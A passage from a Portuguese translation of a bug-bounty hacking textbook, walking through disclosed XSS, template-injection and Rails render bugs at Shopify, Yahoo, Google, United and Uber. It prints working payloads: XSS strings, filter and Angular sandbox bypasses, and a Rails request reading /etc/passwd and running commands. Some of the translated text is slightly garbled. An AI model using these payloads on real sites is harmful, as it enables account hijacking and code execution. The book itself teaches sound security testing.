URL: atacado.shopify.com
Descrição: site
de atacado da Shopify6 é uma página da Web simples com uma frase de chamariz distinta – insira o nome de
um produto e clique em “Encontrar produtos”. Aqui está uma captura de tela:
4https://whitton.io/articles/uber-turning-self-xss-into-good-xss
5https://hackerone.com/reports/106293 6wholesale.shopify.com
Captura de tela do site de atacado da Shopify
A vulnerabilidade XSS aqui foi a mais básica que você pode encontrar - o texto inserido na caixa
de pesquisa não foi escapado, portanto, qualquer Javascript inserido foi executado. Aqui está o
texto enviado da divulgação da vulnerabilidade: test';alert('XSS');'
A razão pela qual isso funciona é que o Shopify recebeu a entrada do usuário, executou a consulta
de pesquisa e, quando nenhum resultado foi retornado, o Shopify imprimiu uma mensagem dizendo
que nenhum produto foi encontrado com esse nome, mas o Javascript inserido também seria
refletido de volta em um Javascript tag na página, sem escape. Como resultado, explorar a
vulnerabilidade XSS era trivial.
Aprendizado
Teste tudo, prestando atenção especial às situações em que o texto digitado está sendo
revertido para você. Teste para determinar se você pode incluir HTML ou Javascript para ver
como o site lida com isso. Tente também a entrada codificada semelhante à descrita no capítulo
Injeção de HTML.
As vulnerabilidades XSS não precisam ser intrincadas ou complicadas. Essa vulnerabilidade foi
a mais básica que você pode encontrar - um campo de texto de entrada simples que não
limpava a entrada de um usuário. E foi descoberto em 21 de dezembro de 2015 e rendeu ao
hacker $ 500! Tudo o que era necessário era a perspectiva de um hacker.
2. Carrinho de cartões-presente da Shopify
Dificuldade: Baixa
URL: hardware.shopify.com/cart Link do
Data do relatório: 21 de outubro de 2015
Descrição:
O site8 de cartão-presente de hardware da Shopify permite que os usuários criem seus próprios cartões-presente com um
formulário HTML, incluindo uma caixa de entrada de upload de arquivo, algumas caixas de texto para detalhes, etc. Aqui está
uma captura de tela:
8hardware.shopify.com/collections/gift-cards/products/custom-gift-card
Captura de tela do formulário de vale-presente de hardware da Shopify
A vulnerabilidade XSS aqui ocorreu quando o Javascript foi inserido no campo de nome da
imagem no formulário. Uma tarefa bastante fácil quando feita com um proxy HTML. Portanto,
aqui, o envio do formulário original incluiria:
Content-Disposition: form-data; name="propriedades[arquivo de arte]"
Que seria interceptado e alterado para:

Content-Disposition: form-data; name="properties[Artwork file<img src='test'

onmouse\ over='alert(2)'>]";
Aprendizado
Há duas coisas a serem observadas aqui que ajudarão a encontrar vulnerabilidades XSS:
1. A vulnerabilidade neste caso não estava realmente no próprio campo de entrada do arquivo
- estava na propriedade name do campo. Portanto, quando estiver procurando por
oportunidades de XSS, lembre-se de jogar com todos os valores de entrada disponíveis.
2. O valor aqui foi submetido após ser manipulado por um proxy. Isso é fundamental em
situações em que pode haver valores de validação de Javascript no lado do cliente (seu
navegador) antes que qualquer valor realmente volte para o servidor do site.
Na verdade, sempre que você vir a validação acontecendo em tempo real no seu navegador,
deve ser um sinal de alerta que você precisa testar esse campo! Os desenvolvedores podem
cometer o erro de não validar os valores enviados para código mal-intencionado assim que os
valores chegarem ao servidor, porque acham que o código Javascript do navegador já tratou as
validações antes que a entrada fosse recebida.
3. Formatação de moeda da Shopify
Dificuldade: Baixa
URL: SITE.myshopify.com/admin/settings/generalt Link do
Descrição:
As configurações da loja da Shopify incluem a capacidade de alterar a formatação da moeda. Em 9 de dezembro,

foi relatado que os valores dessas caixas de entrada não foram devidamente higienizados ao configurar as páginas
de mídia social.
Em outras palavras, um usuário mal-intencionado pode configurar uma loja e alterar as configurações de moeda da
loja para o seguinte:
Captura de tela da formatação de moeda da Shopify
Em seguida, o usuário poderia habilitar os canais de vendas nas redes sociais, no caso do relatório,
Facebook e Twitter, e quando o usuário clicasse na aba desse canal de venda, o Javascript era
executado resultando em uma vulnerabilidade XSS.
Aprendizado
Vulnerabilidades XSS resultam quando o texto Javascript é processado de forma insegura.
É possível que o texto seja usado em vários locais em um site e, portanto, cada local deve
ser testado. Nesse caso, Shopify não inclui páginas de loja ou checkout para XSS, pois os
usuários têm permissão para usar Javscript em sua própria loja. Teria sido fácil descartar
essa vulnerabilidade antes de considerar se o campo foi usado em sites externos de mídia
social.
4. XSS armazenado no Yahoo Mail
Dificuldade: Baixa
URL: Yahoo Mail
Link do relatório: Klikki.fi10

10https://klikki.fi/adv/yahoo.html
Descrição:
O editor de e-mail do Yahoo permitia que as pessoas incorporassem imagens em um e-mail via HTML com uma
tag IMG. Esta vulnerabilidade surgiu quando a tag HTML IMG foi malformada ou inválida.
A maioria das tags HTML aceita atributos, informações adicionais sobre a tag HTML. Por exemplo, a tag IMG
recebe um atributo src apontando para o endereço da imagem a ser renderizada.
Além disso, alguns atributos são referidos como atributos booleanos, ou seja, se forem incluídos, representam um
valor verdadeiro em HTML e quando são omitidos, representam um valor falso.
Com relação a essa vulnerabilidade, Jouko Pynnonen descobriu que, se adicionasse atributos booleanos a tags
HTML com um valor, o Yahoo Mail removeria o valor, mas deixaria os sinais de igual. Aqui está um exemplo do
site Klikki.fi:
<INPUT TYPE="caixa de seleção" CHECKED="olá" NAME="caixa de seleção">
Aqui, uma tag de entrada pode incluir um atributo marcado indicando se a caixa de seleção seria renderizada como
marcada. Após a análise descrita acima, isso se tornaria:
<INPUT TYPE="caixa de seleção" CHECKED= NAME="caixa de seleção">
Observe que o HTML passa de ter um valor para verificado para nenhum valor, mas ainda inclui o sinal de igual.
Reconhecidamente, isso parece inofensivo, mas de acordo com as especificações do HTML, os navegadores leem
isso como CHECKED com o valor NAME=”check e a tag de entrada com um terceiro atributo chamado box que
não possui um valor. Isso ocorre porque o HTML permite zero ou mais caracteres de espaço ao redor do sinal de
igual, em um valor de atributo sem aspas.
Para explorar isso, Jouko enviou a seguinte tag IMG:
<img ismap='xxx' itemtype='yyy style=width:100%;height:100%;position:fixed;left:0px;\ top:0px; onmouseover=alert(/

XSS/)//'>
qual a filtragem do Yahoo Mail se transformaria em:
<img ismap=itemtype=yyy style=width:100%;height:100%;position:fixed;left:0px;top:0px\ ; onmouseover=alert(/

XSS/)//>
Como resultado, o navegador renderizaria uma tag IMG ocupando toda a janela do navegador e, ao
passar o mouse sobre a imagem, o Javascript seria executado.
Aprendizado
Passar HTML malformado ou quebrado é uma ótima maneira de testar como os sites estão
analisando a entrada. Como hacker, é importante considerar o que os desenvolvedores ainda não
fizeram. Por exemplo, com tags de imagem regulares, o que acontece se você passar dois atributos src?
Como isso será processado?
5. Pesquisa de imagens do Google
Dificuldade: Média
URL: images.google.com
Link de relatório: Zombie Help11
Data do relatório: 12 de setembro de 2015
Descrição:
Em setembro de 2015, Mahmoud Jamal estava usando o Google Images para encontrar uma imagem
para seu perfil do HackerOne. Enquanto navegava, ele notou algo interessante na URL da imagem
do Google:
http://www.google.com/imgres?imgurl=https://lh3.googleuser.com/...
Observe a referência ao imgurl na URL real. Ao passar o mouse sobre a miniatura, Mahmoud notou
que o atributo href da tag âncora incluía o mesmo URL. Como resultado, ele tentou alterar o parâmetro
para javascript:alert(1) e notou que a tag âncora href também mudou para o mesmo valor.
Animado neste ponto, ele clicou no link, mas nenhum Javascript foi executado porque o URL do
Google foi alterado para algo diferente. Acontece que o código do Google alterou o valor da URL
quando um botão do mouse foi clicado por meio do retorno de chamada Javascript onmousedown.
Pensando nisso, Mahmoud decidiu experimentar seu teclado e tabular a página.

Quando ele chegou ao botão Exibir imagem , o Javascript foi acionado, resultando em uma
vulnerabilidade XSS. Aqui está a imagem:
11http://zombiehelp54.blogspot.ca/2015/09/how-i-found-xss-vulnerability-in-google.html
Vulnerabilidade XSS do Google
Aprendizado
Esteja sempre atento às vulnerabilidades. É fácil supor que só porque uma empresa é grande ou
conhecida, tudo foi encontrado. No entanto, as empresas sempre enviam código.
Além disso, existem várias maneiras de executar o javascript, seria fácil desistir neste caso depois
de ver que o Google alterou o valor com um manipulador de eventos onmousedown, ou seja,
sempre que o link foi clicado, com um
rato.
6. XSS armazenado no gerenciador de tags do Google
Dificuldade: Média
URL: tagmanager.google.com
Link do relatório: https://blog.it-securityguard.com/bugbounty-the-5000-google-xss12
Descrição:
12https://blog.it-securityguard.com/bugbounty-the-5000-google-xss
Em outubro de 2014, Patrik Fehrehbach encontrou uma vulnerabilidade XSS armazenada contra o Google.
A parte interessante sobre o relatório é como ele conseguiu passar o payload pelo Google.
O Google Tagmanager é uma ferramenta de SEO que facilita para os profissionais de marketing adicionar
e atualizar tags de sites, incluindo rastreamento de conversões, análise de sites, remarketing e muito mais.
Para fazer isso, ele possui vários formulários da web para os usuários interagirem. Como resultado, Patrik
começou inserindo cargas XSS nos campos de formulário disponíveis que se pareciam com #”><img
src=/ onerror=alert(3)>. Se aceito, isso fecharia o HTML existente > e tentaria carregar uma imagem
inexistente que executaria o Onerror Javascript, alert(3).
No entanto, isso não funcionou. O Google estava limpando adequadamente a entrada. No entanto, Patrik
notou uma alternativa - o Google oferece a capacidade de fazer upload de um arquivo JSON com várias
tags. Então ele baixou a amostra e carregou:
"dados": {
"name": "#"><img src=/ onerror=alert(3)>", "type":
"AUTO_EVENT_VAR", "autoEventVarMacro":
{ "varType": "HISTORY_NEW_URL_FRAGMENT" } }
Aqui, você notará que o nome da tag é sua carga XSS. Acontece que o Google não estava limpando a
entrada dos arquivos enviados e a carga útil executada.
Aprendizado
Duas coisas são interessantes aqui. Primeiro, Patrik encontrou uma alternativa para fornecer
entrada - fique atento a isso e teste todos os métodos que um alvo fornece para inserir entrada.
Em segundo lugar, o Google estava limpando a entrada, mas não escapando durante a renderização.
Se eles tivessem escapado da entrada de Patrik, a carga útil não teria sido disparada, pois o
HTML teria sido convertido em caracteres inofensivos.
7. United Airlines XSS
Dificuldade: Difícil
URL:: checkin.united.com
Link de relatório: United para XSS United13
Data do relatório: julho de 2016

13strukt93.blogspot.ca
Recompensa Paga: TBD
Descrição:
Em julho de 2016, enquanto procurava voos baratos, Mustafa Hasan (@strukt93) começou a vasculhar
os sites da United Airlines para ver se conseguia encontrar algum bug (a United opera sua própria
recompensa de bug no momento em que escrevo isso). Depois de algumas explorações iniciais, ele
notou que visitar o subdomínio checkin.united.com redirecionava para a URL que incluía um parâmetro
SID que estava sendo renderizado na página HTML. Testando, percebeu que qualquer valor passado
era renderizado na página HTML. Então, ele testou ”><svg onload=confirm(1)> que, se processado
incorretamente, deve fechar o atributo HTML existente e injetar sua própria tag svg, resultando em um
pop-up Javascript cortesia do evento onload.
Mas ao enviar sua solicitação HTTP, nada aconteceu, embora sua carga útil tenha sido renderizada
como está, sem escape:
Origem da página unida
Aqui está uma das razões pelas quais eu incluí isso, enquanto eu provavelmente teria desistido e ido
embora, Mustafa cavou e questionou o que estava acontecendo. Ele começou a navegar pelo Javascript
do site e se deparou com o seguinte código, que essencialmente substitui o potencial Javascript
malicioso, especificamente, chamadas para alertar, confirmar, solicitar, escrever, etc.:
Script entre sites

66
Filtro United XSS
Olhando para o snippet, mesmo que você não conheça Javascript, você pode adivinhar o que está
acontecendo por algumas das palavras usadas. Especificamente, observe o exec_original na
definição do proxy XSSObject. Sem conhecimento de Javascript, provavelmente podemos supor
que isso se refere à execução do original. Imediatamente abaixo dela, podemos ver uma lista de
todas as nossas chaves interessantes e, em seguida, o valor false sendo passado (exceto o
último). Portanto, você pode supor que o site está tentando se proteger impedindo a execução de
algumas funções específicas. Agora, conforme você aprende sobre hacking, uma das coisas que
tende a surgir é que listas negras, como esta, são uma maneira terrível de se proteger contra hackers.
Nessa nota, como você pode ou não saber, uma das coisas interessantes sobre o Javascript é que
você pode substituir as funções existentes. Então, reconhecendo isso, Mustafa primeiro tentou
restaurar a função Document.write com o seguinte valor adicionado no SID
javascript:document.write=HTMLDocument.prototype.write;document.write('STRUKT');.
O que isso faz é definir a função de gravação do documento para a funcionalidade original; como o
Javascript é orientado a objetos, todos os objetos têm um protótipo. Assim, chamando o documento
HTML, Mustafa definiu a função de gravação do documento atual de volta para a implementação
original de HTMLDocument. No entanto, ao chamar document.write('STRUKT'), tudo o que ele fez
foi adicionar seu nome em texto simples à página:
Texto simples unido
Embora isso não tenha funcionado, reconhecer que as funções Javascript incorporadas podem
ser substituídas será útil um dia. No entanto, neste ponto, de acordo com sua postagem e minha
discussão com ele, Mustafa ficou um pouco preso e entrou no @brutelogic. Eles não apenas
trabalharam juntos para executar o Javascript, mas também responderam pacientemente a uma
tonelada de minhas perguntas sobre essa descoberta, portanto, um grande obrigado a ambos (eu
também recomendo que você verifique o blog de Mustafa e o site de @brutelogic, pois ele tem
muito conteúdo XSS excelente, incluindo uma folha de dicas agora incluída no repositório SecLists,
ambos mencionados no capítulo Recursos).
De acordo com minha discussão com os dois hackers, o filtro XSS do United está sem uma função
semelhante a write, que é writeln. A diferença entre os dois é que writeln simplesmente adiciona
uma nova linha depois de escrever seu texto, enquanto write não.
Portanto, reconhecendo isso, @brutelogic sabia que poderia usar a função para gravar conteúdo
no documento HTML, ignorando uma parte do filtro XSS da United. Ele fez isso com ”;}
{document.writeln(decodeURI(location.hash))-“#<img src=1 onerror=alert(1)>, mas seu
Javascript ainda não foi executado. Isso porque o filtro XSS ainda estava sendo carregado e
substituindo a função de alerta .
Antes de chegarmos à carga útil final, vamos dar uma olhada no que o Brute usou e decompô-lo:
• A primeira parte, ”;} fecha o Javascript existente sendo injetado • A

segunda parte, { abre a carga útil do Javascript • A terceira parte,
document.writeln está chamando a função writeln do objeto de documento Javascript para
gravar o conteúdo na página (na verdade, o objeto do documento)
Script entre sites

68
• A quarta parte, decodeURI , é uma função que decodificará entidades codificadas em uma URL
(por exemplo, %22 se tornará “) • A quinta parte, location.hash , retornará todos os parâmetros
após o # na URL • A sexta parte, - “ substitui a citação da primeira etapa para garantir o Javascript
adequado
sintaxe
• A última parte, #<img src=1 onerror=alert(1)> adiciona um parâmetro que nunca é enviado ao
servidor, mas sempre permanece localmente. Isso foi o mais confuso para mim, mas você pode
testá-lo localmente abrindo suas ferramentas de desenvolvimento no Chrome ou Firefox, indo
para a guia de recursos e, em seguida, no navegador, adicione #test a qualquer URL e observe
que não está incluído nesse HTTP solicitar
Então, com tudo isso, Brute e Mustafa reconheceram que precisavam de um novo documento HTML
dentro do contexto do site da United, ou seja, precisavam de uma página que não tivesse o filtro XSS
Javascript carregado, mas ainda tivesse acesso à página da web da United informações, cookies, etc.
E para fazer isso, eles usaram um IFrame.
Resumindo, um IFrame é um documento HTML embutido em outro documento HTML em um site. No
mais básico, você pode pensar nisso como uma nova página HTML, mas que tem acesso à página
HTML que a está incorporando. Nesse caso, o IFrame não teria o Javascript do filtro XSS carregado,
mas por estar sendo incorporado ao site da United, teria acesso a todo o seu conteúdo, inclusive
cookies.
Com tudo isso dito, aqui está a aparência da carga útil final:
Unidos XSS
Os IFrames podem usar um atributo de origem para extrair o HTML remoto. Isso também permitiu ao
Brute definir a fonte como Javascript, chamando imediatamente a função de alerta com o domínio do
documento.
Aprendizado
Há uma série de coisas de que gostei nessa vulnerabilidade que me fizeram querer incluí-
la. Primeiro, a persistência de Mustafa. Em vez de desistir quando sua carga útil não
disparou originalmente, ele vasculhou o código Javascript e descobriu o porquê. Em
segundo lugar, o uso de listas negras deve ser uma bandeira vermelha para todos os
hackers. Fique de olho quando estiver hackeando. Por fim, aprendi muito com o payload e
conversando com @brutelogic. À medida que falo com hackers e continuo aprendendo
sozinho, fica evidente que algum conhecimento de Javascript é essencial para eliminar
vulnerabilidades mais complexas.
Resumo
As vulnerabilidades XSS representam um risco real para os desenvolvedores de sites e ainda prevalecem
nos sites, geralmente à vista. Simplesmente enviando uma chamada para o método de alerta Javascript,
alert('test'), você pode verificar se um campo de entrada é vulnerável. Além disso, você pode combinar isso
com HTML Injection e enviar caracteres codificados ASCII para ver se o texto é renderizado e interpretado.
Ao procurar por vulnerabilidades XSS, aqui estão algumas coisas para lembrar:
As vulnerabilidades XSS não precisam ser complexas. É importante considerar onde um site
está renderizando sua entrada e, especificamente, em qual contexto, seja HTML ou JavaScript.
Os payloads XSS podem não ser executados imediatamente após serem enviados. É importante
procurar todos os lugares onde sua entrada pode ser renderizada e confirmar se a carga útil está
sendo higienizada adequadamente. O site http://html5sec.org, mantido pelos especialistas em
testes de penetração da Cure53, é uma ótima referência para cargas XSS divididas por vetor de
ataque.
Sempre que um site estiver limpando a entrada por meio de modificação, como remover
caracteres, atributos e assim por diante, você deve testar a funcionalidade de limpeza.
Por exemplo, você pode fazer isso enviando valores inesperados, como atributos booleanos
com valores.
Fique atento aos parâmetros de URL que você controla sendo refletidos na página, pois eles
podem permitir que você encontre uma exploração XSS que pode ignorar a codificação. Por
exemplo, se você tiver controle sobre o valor href em uma tag âncora, talvez nem precise usar
caracteres especiais para resultar em uma vulnerabilidade XSS.
Não presuma que um site não é vulnerável apenas por causa de sua idade, marca, funcionalidade
e assim por diante. Mesmo os sites mais conhecidos podem ter bugs não descobertos.
Esteja atento a oportunidades em que os sites estão limpando a entrada no envio, em vez de
processá-la. Quando um novo método de envio é adicionado ao site e o site é limpo na entrada,
isso deixa espaço para possíveis erros do desenvolvedor e possíveis bugs.
Seja persistente quando vir um comportamento estranho de um site sanitizando a entrada do

usuário e investigue o código do site para ver como a sanitização funciona. Você pode precisar
aprender um pouco de JavaScript para fazer isso, mas entender o código-fonte do site valerá a
pena a longo prazo.
10. Injeção de modelo

Descrição
Um mecanismo de modelo é um código usado para criar sites dinâmicos, e-mails e assim por diante. A ideia
básica é criar modelos com espaços reservados dinâmicos para o conteúdo. Quando o modelo é renderizado,
o mecanismo substitui esses espaços reservados por seu conteúdo real para que a lógica do aplicativo seja
separada da lógica de apresentação.
Por exemplo, um site pode ter um modelo para páginas de perfil de usuário com espaços reservados dinâmicos
para campos de perfil como nome do usuário, endereço de e-mail, idade e assim por diante.
Isso permite que um site tenha um arquivo de modelo que extraia essas informações em vez de um arquivo
separado para o perfil de cada usuário. Os mecanismos de modelagem geralmente também oferecem
benefícios adicionais, como recursos de sanitização de entrada do usuário, geração de HTML simplificada e
fácil manutenção. No entanto, esses recursos não tornam os mecanismos de modelagem imunes a
vulnerabilidades.
Existem dois tipos de vulnerabilidades de injeção de modelo, do lado do servidor e do lado do cliente. Ambos
ocorrem quando os mecanismos processam a entrada do usuário sem sanitizá-la adequadamente, semelhante
ao cross site scripting. No entanto, ao contrário do script entre sites, as vulnerabilidades de injeção de modelo
às vezes podem levar à execução remota de código.
Injeções de modelo do lado do servidor
As injeções de modelo do lado do servidor, também conhecidas como SSTIs, ocorrem quando a injeção ocorre
na lógica do lado do servidor. Como os mecanismos de modelo geralmente estão associados a linguagens de
programação específicas, quando ocorre uma injeção, pode ser possível executar código arbitrário a partir
dessa linguagem. A capacidade de executar o código depende das proteções de segurança fornecidas pelo
mecanismo, bem como das medidas preventivas que o site pode ter tomado. Por exemplo, o mecanismo
Python Jinja2 foi associado ao acesso arbitrário a arquivos e à execução remota de código, assim como o
mecanismo de modelo Ruby erb usado por padrão no Rails. Por outro lado, o Liquid Engine da Shopify permite
acesso a um número limitado de métodos Ruby, o que impede a execução remota completa do código. Outros
mecanismos populares incluem Smarty e Twig para PHP, Haml para Ruby, Mustache e assim por diante.
A sintaxe para testar o SSTI depende do mecanismo que está sendo usado, mas geralmente envolve o envio
de expressões de modelo com uma sintaxe específica. Por exemplo, o mecanismo de modelo PHP Smarty
usa quatro colchetes ({{ }}) para denotar expressões enquanto erb usa uma combinação de colchetes, símbolos
de porcentagem e um sinal de igual (<%= %>). Teste para injeções em
Injeção de modelo 71
O Smarty pode envolver o envio de {{7*7}} sempre que as entradas são refletidas na página (formulários,
parâmetros de URL e assim por diante) e a confirmação se 49 é renderizado a partir do código 7*7 em
execução na expressão. Nesse caso, o 49 renderizado significaria que a expressão foi injetada com sucesso e
avaliada pelo modelo.
Como a sintaxe não é uniforme em todos os mecanismos de modelagem, é importante determinar qual software
foi usado para construir o site que está sendo testado. Ferramentas como Wappalyzer ou BuiltWith são
projetadas especificamente para ajudar a fazer isso, então eu recomendo que você use qualquer uma delas.
Depois de identificar o software, use essa sintaxe para enviar a carga útil 7*7.
Injeções de modelo do lado do cliente
As injeções de modelo do lado do cliente, ou CSTI, são resultado de injeções de mecanismo de modelo que
ocorrem em mecanismos de modelo de cliente, normalmente escritos em JavaScript. Os mecanismos de
modelo de cliente populares incluem AngularJS desenvolvido pelo Google e ReactJS desenvolvido pelo Facebook.
Como as injeções de CSTI ocorrem no software em execução no navegador do usuário, a maioria das injeções
normalmente só pode ser explorada para obter script entre sites (XSS) e não execução remota de código. No
entanto, alcançar o XSS às vezes pode ser difícil e requer contornar medidas preventivas, assim como as
vulnerabilidades do SSTI. Por exemplo, as versões do AngularJS anteriores a 1.6 incluem um Sandbox
destinado a limitar o acesso a algumas funções JavaScript e, assim, proteger contra XSS (você pode confirmar
a versão do AngularJS que está sendo usada abrindo o console do desenvolvedor em seu navegador e
digitando angular.version).
No entanto, hackers éticos rotineiramente encontraram e lançaram bypasses de sandbox Angular. Um desvio
popular usado para o Sandbox nas versões 1.3.0-1.5.7 que você pode enviar quando uma injeção Angular é
encontrada é:
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}.
Você pode encontrar outras saídas Angular Sandbox publicadas em https://pastebin.com/xMXwsm0N e https://
jsfiddle.net/89aj1n7m/.
Você descobrirá que demonstrar a gravidade de uma vulnerabilidade CSTI exigirá que você teste o código que
pode potencialmente executar. Embora você possa avaliar algum código JavaScript, alguns sites podem ter
mecanismos de segurança adicionais para impedir a exploração. Por exemplo, encontrei um CSTI usando o
payload {{4+4}} que retornou 8 em um site usando AngularJS. No entanto, quando usei {{4*4}}, o texto {{44}}
foi retornado porque o site limpou a entrada removendo o asterisco. O campo também removeu caracteres
especiais como () e [] e permitiu apenas no máximo 30 caracteres. Tudo isso combinado efetivamente tornou
o CSTI inútil.
Exemplos
1. Injeção de Modelo Angular Uber
Dificuldade: Alta
URL: desenvolvedor.uber.com
Data do relatório: 22 de março de 2016
Descrição:
Em março de 2016, James Kettle (um dos desenvolvedores do Burp Suite, ferramenta recomendada no capítulo
Ferramentas) encontrou uma vulnerabilidade CSTI com a URL:
https://developer.uber.com/docs/deep-linking?q=wrtz{{7*7}}
De acordo com seu relatório, se você visualizasse a origem da página renderizada, a string wrtz49 existiria,
demonstrando que a expressão havia sido avaliada.
Agora, curiosamente, o Angular usa o que é chamado de sandboxing para “manter uma separação adequada das
responsabilidades do aplicativo”. Às vezes, a separação fornecida pelo sandbox é projetada como um recurso de
segurança para limitar o que um possível invasor pode acessar. No entanto, com relação ao Angular, a documentação
afirma que “este sandbox não tem como objetivo impedir o invasor que pode editar o modelo [e] pode ser possível
executar Javascript arbitrário dentro de ligações duplas” E James conseguiu fazer exatamente isso.
Usando o seguinte Javascript, James conseguiu escapar da caixa de areia Angular e executar o Javascript arbitrário:
https://developer.uber.com/docs/deep-linking?q=wrtz{{(_="".sub).call.call({}[$="cons\
tructor"].getOwnPropertyDescriptor(_. __proto__,$).value,0,"alert(1)")()}}zzzz
Injeção angular no Uber Docs
Como ele observa, essa vulnerabilidade pode ser usada para sequestrar contas de desenvolvedores e aplicativos
associados.
Aprendizado
Esteja atento ao uso de AngularJS e teste os campos usando a sintaxe Angular

{{ }}. Para facilitar sua vida, adquira o plug-in Wappalyzer do Firefox - ele
mostrará qual software um site está usando, incluindo o uso de AngularJS.
2. Injeção de Modelo Uber
Dificuldade: Média
URL: riders.uber.com
Link do relatório: hackerone.com/reports/1259802
Data do relatório: 25 de março de 2016
Descrição:
2hackerone.com/reports/125980
Quando o Uber lançou seu programa público de recompensas por bugs no HackerOne, eles também
incluíram um “mapa do tesouro” que pode ser encontrado em seu site, https://eng.uber.com/bug-bounty.
O mapa detalha uma série de subdomínios sensíveis que o Uber usa, incluindo as tecnologias utilizadas
por cada um. Portanto, com relação ao site em questão, riders.uber.com, a pilha incluía Python Flask e
NodeJS. Portanto, com relação a essa vulnerabilidade, Orange (o hacker) observou que Flask e Jinja2
foram usados e testou a sintaxe no campo de nome.
Agora, durante os testes, a Orange observou que qualquer alteração em um perfil no riders.uber.com
resulta em um e-mail e mensagem de texto para o proprietário da conta. Então, de acordo com sua
postagem no blog, ele testou {{1+1}} que resultou no site analisando a expressão e imprimindo 2 no e-
mail para ele mesmo.
Em seguida, ele tentou o payload {% For c in [1,2,3]%} {{c,c,c}} {% endfor %} que executa um loop
for resultando no seguinte na página de perfil:
blog.orange.tw Perfil Uber após injeção de carga útil
e o e-mail resultante:
blog.orange.tw Uber e-mail após a injeção de carga útil
Como você pode ver, na página de perfil, o texto real é renderizado, mas o e-mail realmente
executou o código e o injetou no e-mail. Como resultado, existe uma vulnerabilidade que permite
que um invasor execute o código Python.
Agora, Jinja2 tenta mitigar o dano colocando a execução em sandbox, o que significa que a
funcionalidade é limitada, mas ocasionalmente pode ser contornada. Este relatório foi
originalmente apoiado por uma postagem no blog (que foi publicada um pouco antes) e incluía
alguns ótimos links para o blog do nVisium.com (sim, o mesmo nVisium que executou o Rails
RCE) que demonstrou como escapar da funcionalidade sandbox:
• https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2 • https://
nvisium.com/blog/2016/03/11/exploring-ssti-in-flask -jinja2-parte-ii
Aprendizado
Tome nota de quais tecnologias um site está usando, elas geralmente levam a informações
importantes sobre como você pode explorar um site. Nesse caso, Flask e Jinja2 se
mostraram ótimos vetores de ataque. E, como é o caso de algumas das vulnerabilidades
XSS, a vulnerabilidade pode não ser imediata ou prontamente aparente, certifique-se de
verificar todos os locais onde o texto é renderizado. Nesse caso, o nome do perfil no site
da Uber mostrava texto simples e foi o e-mail que realmente revelou a vulnerabilidade.
3. Rails Dynamic Render
Dificuldade: Média
URL: N/A
Link do relatório : https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-07523
Data do relatório: 1º de fevereiro de 2015
Recompensa Paga: N/A
Descrição:
Ao pesquisar esse exploit, o nVisium fornece um detalhamento incrível e um passo a passo do exploit. Com base em
sua redação, os controladores Ruby on Rails são responsáveis pela lógica de negócios em um aplicativo Rails. A
estrutura fornece algumas funcionalidades bastante robustas, incluindo a capacidade de inferir qual conteúdo deve
ser renderizado ao usuário com base em valores simples passados para o método render.
Trabalhando com Rails, os desenvolvedores têm a capacidade de controlar implícita ou explicitamente o que é
renderizado com base no parâmetro passado para a função. Portanto, os desenvolvedores podem renderizar
explicitamente o conteúdo como texto, JSON, HTML ou algum outro arquivo.
Com essa funcionalidade, os desenvolvedores podem pegar parâmetros passados da URL, passá-los para o Rails
que determinará o arquivo a ser renderizado. Assim, o Rails procuraria por algo como app/views/user/
#{params[:template]}.
O Nvisium usa o exemplo de passagem no painel que pode renderizar uma exibição de painel .html, .haml, .html.erb.
Recebendo esta chamada, o Rails irá escanear os diretórios em busca de tipos de arquivos que correspondam à
convenção do Rails (o mantra do Rails é convenção sobre configuração). No entanto, quando você diz ao Rails para
renderizar algo e ele não consegue encontrar o arquivo apropriado para usar, ele irá procurar em RAILS_ROOT/app/
views, RAILS_ROOT e na raiz do sistema.
Isso é parte da questão. O RAILS_ROOT refere-se à pasta raiz do seu aplicativo, procurar lá faz sentido. A raiz do
sistema não, e é perigoso.
Então, usando isso, você pode passar %2fetc%2fpasswd e o Rails imprimirá seu arquivo /etc/passwd. Apavorante.
Agora, isso vai ainda mais longe, se você passar <%25%3dls%25>, isso será interpretado como <%= ls %>. Na
linguagem de modelagem erb, o <%= %> significa código a ser executado e impresso, portanto, aqui, o comando ls
seria executado ou permitiria a Execução Remota de Código.
3https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752
Aprendizado
Essa vulnerabilidade não existiria em todos os sites Rails - dependeria de como o site foi
codificado. Como resultado, isso não é algo que uma ferramenta automatizada irá
necessariamente captar. Esteja atento quando souber que um site é construído usando
Rails, pois a maioria segue uma convenção comum para URLs - no mais básico, é /
controller/id para solicitações GET simples ou /controller/id/edit para edições, etc.
Quando você vir esse padrão de URL surgindo, comece a brincar. Passe valores
inesperados e veja o que é retornado.
Resumo
Ao procurar vulnerabilidades, é uma boa ideia tentar identificar a tecnologia subjacente (seja
estrutura da Web, mecanismo de renderização de front-end etc.) para encontrar possíveis vetores
de ataque. A variedade diferente de mecanismos de modelagem torna difícil dizer exatamente o
que funcionará em todas as circunstâncias, mas é aí que saber qual tecnologia é usada o
ajudará. Esteja atento a oportunidades em que o texto que você controla está sendo renderizado
de volta para você na página ou em algum outro local (como um e-mail).
11. Injeção SQL

Descrição
Uma injeção de linguagem de consulta estruturada (SQL), ou SQLi, ocorre quando uma vulnerabilidade em
um site baseado em banco de dados permite que um invasor consulte ou ataque o banco de dados do site.
Os ataques SQLi costumam ser altamente recompensados porque podem ser devastadores. Eles podem
permitir que um invasor manipule ou extraia informações ou até mesmo crie um login de administrador para
si mesmo no banco de dados.
Bancos de Dados SQL
Bancos de dados armazenam informações em registros e campos contidos em uma coleção de tabelas.
As tabelas contêm uma ou mais colunas e uma linha em uma tabela representa um registro no banco de
dados.
Os usuários contam com uma linguagem de programação chamada SQL (linguagem de consulta
estruturada) para criar, ler, atualizar e excluir registros no banco de dados. O usuário envia comandos SQL
(também chamados de instruções ou consultas) ao banco de dados e, supondo que os comandos sejam
aceitos, o banco de dados interpreta as instruções e executa alguma ação. Bancos de dados SQL populares
incluem MySQL, Postgresql, MSSQL e assim por diante. Usaremos o MySQL para os propósitos deste
capítulo, mas os conceitos gerais se aplicam a todos os bancos de dados SQL.
As instruções SQL são compostas de palavras-chave e funções. Por exemplo, a instrução a seguir informa
ao banco de dados para selecionar informações da coluna de nome na tabela de usuários, para registros
em que a coluna de ID é igual a 1.
SELECT nome de usuários WHERE id = 1;
Muitos sites dependem de bancos de dados para armazenar informações e usar essas informações para
gerar conteúdo dinamicamente. Por exemplo, o site https://www.leanpub.com/ armazena seus pedidos
